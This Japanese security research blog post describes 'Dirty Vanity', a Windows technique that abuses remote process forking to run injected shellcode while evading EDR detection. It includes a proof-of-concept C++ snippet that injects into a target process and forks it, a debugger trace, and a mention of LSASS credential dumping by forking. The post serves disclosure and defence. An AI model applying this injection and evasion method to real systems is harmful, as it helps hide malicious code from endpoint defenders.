2023年4月12日

Dirty Vanity コードインジェクション&EDRバイパスの新しいアプローチ

Dirty Vanityは、Windows OSに存在するあまり知られていないメカニズムであるフォーキングを悪用した新しいコードインジェクション手法です。この記事では、フォーキングについて深く掘り下げ、その正当な使用方法を探るとともに、悪意のあるコードを注入することでEDRを盲視するように操作する方法を紹介します。

新しいコードインジェクション技術の実装は、通常、単純な計算式に従うため、こうした攻撃に対する防御は対応しやすいのですが、時折、通常のやり方では対処できないようなエキセントリックな手法が新たに登場することがあります。その例がDirty Vanityです。

フォーキングの背景

プロセスのフォーキングとは、呼び出したプロセスから新しいプロセスを作成する行為です。「フォーク」という名前は、プロセス作成のUNIXシステムコールである「fork」と「exec」に由来しています。

Dirty Vanityは、Windowsに存在する正当なフォーク機構を悪用したものです。

Windowsのフォーク

Windows自身は、プロセス生成にforkやexecを利用することはありません。しかし、レガシーなPOSIXサブシステム(1993年のwindows NTの初版から搭載)でこれをサポートし、基本的なUNIXバイナリ実行をサポートすることを意図しています。POSIXサブシステムは長い間改変されてきましたが(最初はwindows XPの Windows Services for UNIX(SFU)、後に現在の Windows Subsystem for Linux (WSL)) 、そのコードは今日までwindowsに影響を与え続けています。

以下は、このサブシステムの中核をなすdllであるpsxdll.dllの中身の一部で、基本的なUNIX APIをエクスポートしたものです:

図1:フォークの原点
図1:フォークの原点

この_forkは、実際のフォークを行うNtdllのRtlCloneUserProcessへの呼び出しで内部的に実装されていることがわかるでしょう。

上記の例では、Windows Forkの起源を見ることができ、以下のメカニズムが今日までフォークを使用しています:

プロセスリフレクション - 継続的にサービスを提供すべきプロセスの分析を可能にすることを目的としたフォーキングメカニズム。WDI (Windows Diagnostics Infrastructure)は、Process Reflectionを使用して、これを実現しています:

図2:プロセスリフレクションFigure 2: Process Reflection
図2:プロセスリフレクション

プロセススナップショット - プロセスの状態を、一部または全体でキャプチャすることができます。Windows内部のPOSIXフォーククローン機能を利用して、プロセスの仮想アドレスの内容を効率的にキャプチャすることができます。

悪意のある使用例:

フォークによるクレデンシャルダンプ - クレデンシャルダンプの領域では、多くの防御策が、ログに記録されたユーザーのクレデンシャルを保存する LSASS.exe に焦点を当てています。前述のフォークメカニズムの1つを利用して、LSASSをフォークし、あまり保護されていないフォークコンテンツにアクセスするといったフォークバイパス手法が存在します:

図3:フォークによるクレデンシャルダンプリング
図3:フォークによるクレデンシャルダンプリング

要約すると、Windowsには、もともとサポートすることを目的としていた伝統的なUNIXフォークのようなフォーク機能だけでなく、より強力なリモートフォークオプションを持っていることが分かりました。Windowsのこのリモートフォークを悪用すれば、上記の悪意のあるLSASSダンプのユースケースに見られるように、セキュリティを回避することができます。Dirty Vanityの場合、さらに悪用される可能性があることを実証します。

フォークAPI

Dirty Vanityがリモートフォークを悪用する方法を紹介する前に、フォークを呼び出すことができるWindows APIについて説明します。まず、POSIXの基本フォークをサポートするAPIから説明します:

RtlCloneUserProcess(  
ULONG ProcessFlags,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE DebugPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation);

RtlCloneUserProcessは、基本的にNtCreateUserProcessのラッパーであり、同じ能力を持ちます。

NtCreateUserProcess(
PHANDLE ProcessHandle,
PHANDLE ThreadHandle,
ACCESS_MASK ProcessDesiredAccess,
ACCESS_MASK ThreadDesiredAccess,
POBJECT_ATTRIBUTES ProcessObjectAttributes,
POBJECT_ATTRIBUTES ThreadObjectAttributes,
ULONG ProcessFlags,
ULONG ThreadFlags,
PVOID ProcessParameters,
PPS_CREATE_INFO CreateInfo,
PPS_ATTRIBUTE_LIST AttributeList);

NtCreateUserProcessはシステムコールです。PPS_ATTRIBUTE_LISTのAttributeListパラメータにPS_ATTRIBUTE_PARENT_PROCESSを設定することにより、プロセスのフォークを明らかにします(下記):

NTSTATUS NtForkUserProcess()
{
HANDLE hProcess = nullptr, hThread = nullptr;
OBJECT_ATTRIBUTES poa = { sizeof(poa) };
OBJECT_ATTRIBUTES toa = { sizeof(toa) };
PS_CREATE_INFO createInfo = {sizeof(createInfo)};
createInfo.State = PsCreateInitialState;
// Add a parent handle in attribute list
PPS_ATTRIBUTE_LIST attributeList;
PPS_ATTRIBUTE attribute;
UCHAR attributeListBuffer[FIELD_OFFSET(PS_ATTRIBUTE_LIST, Attributes) + sizeof(PS_ATTRIBUTE) * 1];
memset(attributeListBuffer, 0, sizeof(attributeListBuffer));
attributeList = reinterpret_cast<PPS_ATTRIBUTE_LIST>(attributeListBuffer);
attributeList->TotalLength = FIELD_OFFSET(PS_ATTRIBUTE_LIST, Attributes) + sizeof(PS_ATTRIBUTE) * 1;
attribute = &attributeList->Attributes[0];
attribute->Attribute = PS_ATTRIBUTE_PARENT_PROCESS;
attribute->Size = sizeof(HANDLE);
attribute->ValuePtr = GetCurrentProcess();

NtCreateUserProcessFunc const NtCreateUserProcess = reinterpret_cast<NtCreateUserProcessFunc>(GetProcAddress(LoadLibraryA("ntdll.dll"), "NtCreateUserProcess"));
NTSTATUS res = NtCreateUserProcess(&hProcess, &hThread, 0, 0, nullptr, nullptr, PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT | PROCESS_CREATE_FLAGS_INHERIT_HANDLES, THREAD_CREATE_FLAGS_CREATE_SUSPENDED, nullptr, &createInfo, attributeList);
auto pid = GetProcessId(hProcess);
return res;
}

先に述べたとおり、Windows上でもっともパワフルなフォークはリモートフォークです。しかしながら、この例で属性->値Ptr = GetCurrentProcess();を別のハンドル:属性->値Ptr = someOtherHandle;に置き換えようとすると、STATUS_INVALID_PARAMETER=0xC000000Dで失敗し、この API ではリモートフォークができないことがわかります。

リモートフォーク

プロセスリフレクションプロセススナップショットの裏にあるWindowsでリモートフォークを提供するAPIを探します。

プロセス スナップショットは Kernel32!PssCaptureSnapshot で呼び出され、コール チェーンを下っていくと Kernel32!PssCaptureSnapshot が ntdll!PssNtCaptureSnapshot を呼び出し ntdll!NtCreateProcessEx を呼び出すことがわかるでしょう。

NtCreateProcessExとそのレガシーバージョンNtCreateProcessについて見てみましょう。

NtCreateProcessEx(PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes ,
HANDLE ParentProcess,
ULONG Flags,
HANDLE SectionHandle,
HANDLE DebugPort,
HANDLE ExceptionPort,
BOOLEAN InJob);
NtCreateProcess(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ParentProcess,
BOOLEAN InheritObjectTable,
HANDLE SectionHandle,
HANDLE DebugPort,
HANDLE ExceptionPort);

NtCreateProcess[Ex]は、フォーク機構にアクセスする別のルートを提供する2つのレガシープロセス作成システムコールです。しかし、より新しいNtCreateUserProcessとは対照的に、HANDLE ParentProcessパラメータにターゲットプロセスのハンドルを設定することで、リモートプロセスをフォークすることができます。

Process Reflectionは、RtlCreateProcessReflectionで呼び出されます。

RtlCreateProcessReflection(
HANDLE ProcessHandle,
ULONG Flags,
PVOID StartRoutine,
PVOID StartContext,
HANDLE EventHandle,
T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION* ReflectionInformation);

RtlCreateProcessReflectionは、HANDLE ProcessHandleで表されるプロセスをフォークします。

It performs the following actions:

  1. 共有メモリ・セクションを作成

  2. 共有メモリセクションにパラメータを入力

  3. 共有メモリセクションをカレントプロセスとターゲットプロセスにマップ
  4. RtlpCreateUserThreadExの呼び出しにより、ターゲットプロセス上にスレッドを作成。スレッドは、ntdllのRtlpProcessReflectionStartup関数で実行を開始するように指示される
  5. 作成されたスレッドは、RtlCloneUserProcessを呼び出し、開始プロセスと共有するメモリ マッピングから取得したパラメータを渡す。RtlCloneUserProcessは、前述のように、現在のプロセスを新しいターゲットにフォークさせるNtCreateUserProcessをラップ
  6. カーネルモードでは、NtCreateUserProcessは新しいプロセスを作成するときと同じコードパスのほとんどを実行(プロセスオブジェクトと初期スレッドを作成するために呼び出すPspAllocateProcess以外は)、、初期プロセスのアドレス空間ではなくターゲットプロセスのコピーオンライトコピーでなければならないというフラグを指定してMmInitializeProcessAddressSpaceを呼び出す
  7. RtlCreateProcessReflectionの呼び出し元がPVOID StartRoutineを指定した場合、RtlpProcessReflectionStartupは閉じる前にその実行を転送。また、引数としてPVOID StartContextが指定された場合は、それを提供

ご想像の通り、PVOID StartRoutineはDirty Vanityで重要な役割を果たしています。

フォーク処理の大部分はカーネルモードで行われ、最も興味深い部分の1つは、動的割り当てや実行時の修正を含め、ターゲットプロセスのアドレス空間をすべてフォークされたプロセスにコピーすることであり、これがDirty Vanityをもたらすのです。

Dirty Vanityセットアップ

コードインジェクションとEDR(エンドポイントディテクション&レスポンス)

ここで、従来のインジェクションの手順を簡単に説明します。

インジェクションされたコードをターゲットプロセスで稼働させるために、インジェクターは以下のことを行います:

  • STEP 1: インジェクションするシェルコードのためのスペースを確保するか、そのためのコードケーブを見つける
  • STEP 2: 様々な書き込みプリミティブを使用して、STEP 1で作成したスペースにシェルコードを書き込む
    • WriteProcessMemory
    • NtMapViewOfSection
    • GlobalAddAtom
  • STEP 3: STEP2 で書き込んだシェルコードを各種実行プリミティブで実行
    • NtSetContextThread
    • NtQueueApcThread
    • IATフック&フックの呼び出し

インジェクターは、Allocate、Write、Executeプリミティブの組み合わせを選択し、それらを呼び出してインジェクションを作成することができます。

インジェクション プリミティブは動的な性質を持っているため、ほとんどのEDR製品は既知のプリミティブをすべてフックすることでインジェクションに対処しようとします。以下は、このアプローチの例で、Injector.exeがExplorer.exeに対して最も単純なインジェクションを実行する場合です:

図4:Explorer.exeへの単純なインジェクション
図4:Explorer.exeへの単純なインジェクション

EDRがシステムを監視する場合、同じターゲットにあるすべてのプリミティブを監視し、Explorer.exeの3つをすべてキャッチすることができます:

  • Allocation = VirtualAllocEx
  • Allocationにコンテンツを書き込む = WriteProcessMemory
  • 書き込まれた内容の実行 = CreateRemoteThread

最終実行プリミティブを監視すると、EDRはこのインジェクションの試みを検出/ブロックできるのです。

Dirty Vanityの動作

Dirty Vanityは、以前紹介したWindowsのリモートフォーク機構を、インジェクション領域における新しいプリミティブとして悪用します。そのコンセプトは単純で、以下のステップで構成されています:

  1. 初期書き込みステップ:ペイロードをターゲットプロセスに割り付け、好きな方法で書き込む:

    1. VirtualAllocEx & WriteProcessMemory
    2. NtCreateSection & NtMapViewOfSection
    3. またはその他の方法
  2. フォーク&実行ステップ:ターゲットプロセスでリモートフォークを事前に実行し、プロセス開始アドレスをペイロード(同じ場所にフォークされる)に設定する:

    1. RtlCreateProcessReflection (PVOID StartRoutine = クローン化したシェルコードを指す)
    2. NtCreateProcess[Ex] + クローン化したシェルコードに対する任意の実行プリミティブ

この手順を、先ほどの例に当てはめてみましょう:

図5:Dirty Vanityのフロー
図5:Dirty Vanityのフロー

Injector.exeは通常であればVirtualAllocExで処理を開始し、Explorer.exeでWriteProcessMemoryを実行します。このシステムを監視するEDR製品は、これらの操作を相関させ、この操作をインジェクションとしてマークする3番目の実行プリミティブを待ちます。

Dirty Vanityでは、この予想される実行プリミティブは発生せず、代わりにリモートフォークAPIに再開されます。

Explorer.exeは現在、自身のコピーにフォークされ、フォークされた結果プロセスには、同じアドレスに同じメモリ保護でロードされた初期書き込みステップのペイロードを含むExplorer.exeアドレス空間のコピーが含まれています。

フォークされたプロセスの開始アドレスをペイロードに設定することで、実行されます。これは次のようにして行うことができます:

  1. RtlCreateProcessReflection(PVOID StartRoutine = クローン化したシェルコードを指す)
  2. NtCreateProcess[Ex] + クローン化されたシェルコードに対するフォローアップ実行プリミティブ

これらのステップが完了すると、フォークされたExplorer.exeにペイロードが含まれ、実行されます。

Dirty Vanityの新しいところは、フォークが作り出す“分離”にあります: 割り当てと書き込みの段階はターゲットプロセス上で普通に行われますが、実際の実行段階(EDRの観点からはインジェクションとして検知をするために重要)はフォークされたターゲットプロセスによって実行されるので、それらは捕まりません。

EDRの観点からは、フォークされた新しいExplorer.exeは書き込まれたことがなく、その上での実行は書き込みの試みと関連付けられないのです。

このユニークな実行方法により、Dirty Vanityは一般的なEDR製品の検出をすり抜けることができます。.

Dirty Vanityを実行するための前提条件

Dirty Vanityを呼び出すには、以下のアクセス権を持つターゲットプロセスハンドルが必要です:

  • RtlCreateProcessReflection variant: PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD |PROCESS_DUP_HANDLE
  • NtCreateProcess[Ex] variant: PROCESS_CREATE_PROCESS

完全な実装のためには、ターゲットプロセスハンドルは、これらのアクセス権および初期書き込みステップの選択に適したアクセス権の組み合わせを含む必要があります。

RtlCreateProcessReflection を介した Dirty Vanit

このブログの背景にある研究は、RtlCreateProcessReflectionのアプローチによるPOCに焦点を当てたものです。

ここでは、それを使ってDirty Vanityを実行するコードスニペットを紹介します:

unsigned char shellcode[] = {0x40, 0x55, 0x57, ...};
size_t bytesWritten = 0;

// Opening the fork target with the appropriate rights
HANDLE victimHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE, TRUE, victimPid);

// Allocate shellcode size within the target
DWORD_PTR shellcodeSize = sizeof(shellcode);
LPVOID baseAddress = VirtualAllocEx(victimHandle, nullptr, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// Write the shellcode
BOOL status = WriteProcessMemory(victimHandle, baseAddress, shellcode, shellcodeSize, &bytesWritten);
#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002
HMODULE ntlib = LoadLibraryA("ntdll.dll");
Rtl_CreateProcessReflection RtlCreateProcessReflection = (Rtl_CreateProcessReflection)GetProcAddress(ntlib, "RtlCreateProcessReflection");
T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = { 0 };

// Fork target & Execute shellcode base within clone
NTSTATUS ret = RtlCreateProcessReflection(victimHandle, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES, baseAddress, NULL, NULL, &info);

このPOCを最初に試みたとき、私たちは基本的なMessageBoxAシェルコードを使い、Access violation例外を発生させました:

1:002> g
(6738.da4): Access violation - code c0000005 (first chance)

First-chance exceptions are reported before any exception handling.

This exception may be expected and handled.
USER32!GetDpiForCurrentProcess+0x14:

00007ff8`8b75719c 0fb798661b0000 movzx ebx,word ptr [rax+1B66h] ds:000002d3`6ef92ba6=????
1:002> k
# Child-SP RetAddr Call Site
00 000000da`df9ffb10 00007ff8`8b7570c2 USER32!GetDpiForCurrentProcess+0x14
01 000000da`df9ffb40 00007ff8`8b75703b USER32!ValidateDpiAwarenessContextEx+0x32
02 000000da`df9ffb70 00007ff8`8b7bc2da USER32!SetThreadDpiAwarenessContext+0x4b
03 000000da`df9ffba0 00007ff8`8b7bc0d8 USER32!MessageBoxTimeoutW+0x19a
04 000000da`df9ffca0 00007ff8`8b7bbcee USER32!MessageBoxTimeoutA+0x108
05 000000da`df9ffd00 000002d3`71bf0050 USER32!MessageBoxA+0x4e
06 000000da`df9ffd40 00007ff8`8c210000 0x000002d3`71bf0050

シェルコードは効果的にフォークされ実行されましたが、USER32!MessageBoxAの内部はフォーク内からの操作に失敗しています。

要するに、USER32!MessageBoxAはuser32!gSharedInfo構造体をプロセスにマッピングする必要があったのです。

私たちのフォークしたプロセスでは、user32!gSharedInfoはViewUnmapの設定で各プロセスに明示的にマッピングされていたため、その点が欠けていました:

"ViewUnmap: ビューは子プロセスにマッピングされません " -MSDN

つまり、ViewUnmapデータ(user32!gSharedInfoのような)は、クローン化された子プロセスから隠されます。この問題を克服するために、私たちのPOCでは、完全にスタンドアロンである、そのようなセクションの依存性を持っていない、NTDLLのみのシェルコードを使用しました。

私たちは、 https://github.com/rainerzufalldererste/windows_x64_shellcode_templateをテンプレートとして、カスタム ntdll ベースのシェルコードを作成し、それを実行しました:

  1. LDRからNtdll APIを検出

  2. RtlInitUnicodeStringとRtlAllocateHeapとRtlCreateProcessParametersExでパラメータ作成

  3. INtCreateUserProcessの起動
    1. process: C:\Windows\System32\cmd.exe
    2. Command line: /k msg * “Hello from Dirty Vanity”

For the full source code: https://github.com/deepinstinct/Dirty-Vanity

一緒にラップする

図6:エクスプローラーのPIDで起動するDirty Vanity
図6:エクスプローラーのPIDで起動するDirty Vanity

図7:結果のプロセスツリー、フォークされたExplorerの子プロセスがシェルコードを実行する
図7:結果のプロセスツリー、フォークされたExplorerの子プロセスがシェルコードを実行する

まとめ

コードインジェクションを検出するために、EDRソリューションは従来、同一プロセス上で実行される「割り当て/書き込み/実行」操作を監視し、それらから相関をとっていました。Fork APIは、フォークという従来の検知アプローチに挑戦する新しいインジェクションのプリミティブを提供します。

Dirty Vanityは、フォークを利用して、割り当てと書き込みした作業を新しいプロセスにクローン化します。EDRの観点からは、このプロセスは書き込まれたことがないため、最終的に実行されてもインジェクション動作としてフラグが立つことはありません:

  • 本リサーチの焦点はRtlCreateProcessReflectionを使用したフォークと実行です

  • RtlCreateProcessReflection呼び出し後の通常の実行プリミティブ、またはNtCreateProcess[Ex](まだ試していません)

DirtyVanityは、インジェクション防御の見方を変えました。フォーキングは、OS監視のルールを変え、EDRは、提示されたすべてのフォーキングプリミティブを監視し、最終的にフォークしたプロセスを追跡し、親プロセスについてと同じ知識でそれらを扱わなければなりません。

この事例の詳細とリサーチプロセスについては、Deep Instinct ResearchチームによるBlack Hatのプレゼンテーションをご覧ください: https://i.blackhat.com/EU-22/Thursday-Briefings/EU-22-Nissan-DirtyVanity.pdf

参考文献

  1. https://github.com/deepinstinct/Dirty-Vanity
  2. https://i.blackhat.com/EU-22/Thursday-Briefings/EU-22-Nissan-DirtyVanity.pdf
  3. https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/ talking about forking locally with RtlCloneUserProcess & NtCreateUserProcess
  4. https://gist.github.com/juntalis/4366916 & https://gist.github.com/Cr4sh/126d844c28a7fbfd25c6 RtlCloneUserProcess usage, and useful constants
  5. https://gist.github.com/GeneralTesler/68903f7eb00f047d32a4d6c55da5a05c Credential dump use case using RtlCreateProcessReflection. it took reflection code from the next link
  6. https://github.com/hasherezade/pe-sieve/blob/master/utils/process_reflection.cpp RtlCreateProcessReflection source code framework
  7. https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/ PssCaptureSnapshot → NtCreateProcessEx
  8. Windows Internals 7th part 1 on RtlCreateProcessReflection
  9. https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2011/BH_US_11_Mandt_win32k_Slides.pdf
  10. https://www.youtube.com/watch?v=EkGDSqpfzgg
  11. https://github.com/rainerzufalldererste/windows_x64_shellcode_template